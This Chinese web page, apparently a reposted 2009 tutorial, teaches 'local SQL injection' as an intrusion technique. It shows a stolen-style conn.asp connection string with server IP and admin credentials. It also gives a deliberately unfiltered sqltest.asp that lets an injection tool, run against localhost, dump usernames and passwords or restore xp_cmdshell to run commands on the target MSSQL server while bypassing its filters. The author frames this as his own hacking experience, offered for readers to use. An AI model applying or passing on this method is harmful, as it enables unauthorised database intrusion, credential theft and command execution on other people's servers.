当前位置: 首页 > 图文教程 > 数据库 > 数据库技巧 > 本地SQL注射攻略分析曝光

数据库技巧
执行Insert Exec时的隐藏开销 分析
datastage server job之dsjob 命令
sql Union和Union All的使用方法
对分区表进行alter-switch时遇到的错误
sql left join 命令详解
sql 插入数据的三种常用方法及小贴士
SQL 优化经验总结34条
数据库 SQL千万级数据规模处理概要
数据库分页查询方法
postgres 数据库中的数据转换
ORACLE 系统函数大全SQLSERVER系统函数的异同
数据库 三范式最简单最易记的解释
主键与聚集索引
数据库触发器(Trigger)的一点使用心得
postgresql sql批量更新记录
sql join on 用法
SQL 按特定字段值排序
jdbc 数据库的连接(sqlserver oracle)
让你的insert操作速度增加1000倍的方法
数据库 关系连接

数据库技巧 中的 本地SQL注射攻略分析曝光


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 45 ::
收藏到网摘: n/a

以后会陆续给大家讲一些本人的入侵经验,一天学一点,这东西虽然我玩腻了,但是还是很想给大家入门时的一些帮助。本地SQL注射,可能很多朋友都没有听说过,下面biweilun为大家讲解下概念及其应用

何为本地注射?简单地讲,就是本来你在服务器上无法进行SQL注入,因为服务器上的WEB程序很安全,对request("id")这样的请求过滤很严,或是限制输入格式为数字等等方法,你只能选择放弃放弃注入。
但是在有的时候,你可以在本机的IIS里进行注入,从而达到对服务器注射的目的,避过服务器的request参数提交过滤。举例子来说明吧,现在你误打误撞,利用暴库或是其他的漏洞,得到了服务器的conn.asp文件,那么恭喜你,入侵离成功不远了。
conn.asp文件代码一般如下:
<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "PROVIDER=SQLOLEDB;DATA SOURCE=61.121.140.37;UID=admin;pwd=12345;DATABASE=master"
%>
这里面记录的就是服务器的数据库的一些信息了,一般也会得到连接密码,说明是MSSQL的系统,非常好搞。如果服务器有URL可以进行SQL语句注射的话,恢复下XP_CMDshell,我们就能执行很多命令了,DOS命令也随便你。但是很可惜,我们不能注射,只有这么一个conn.asp文件可以利用。
那么,我们在本机来欺骗服务器,不过你要知道那个服务器采用的是什么web程序,不然你下面就不好写代码,我们来写一个sqltest.asp文件,在其中不做任何过滤,将这个文件和conn.asp一起放到你的IIS中的wwwroot下面,这样你就能通过Localhost来访问啦。
sqltest.asp代码如下:
<!--#include file="conn.asp"-->
<%
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL ="select * from DVBBSmdb where GuestID=" & id
rs.open strSQL,conn,1,3
rs.close
%>
那个DVBBSmdb是我虚构的,大家要改成这个web程序的数据库的库名。看到没有,id的提交参数没有经过任何的过滤,没有用replace或是其他的函数。现在我们在啊D中输入注射URL:http://localhost/sqltest.asp?id=1。接着用啊D在本地服务器执行命令或是跑用户名和密码,就等同于在你要入侵的服务器上进行注射,绕过了它的防注入措施。
这就是本地欺骗注射,明白了吧?

"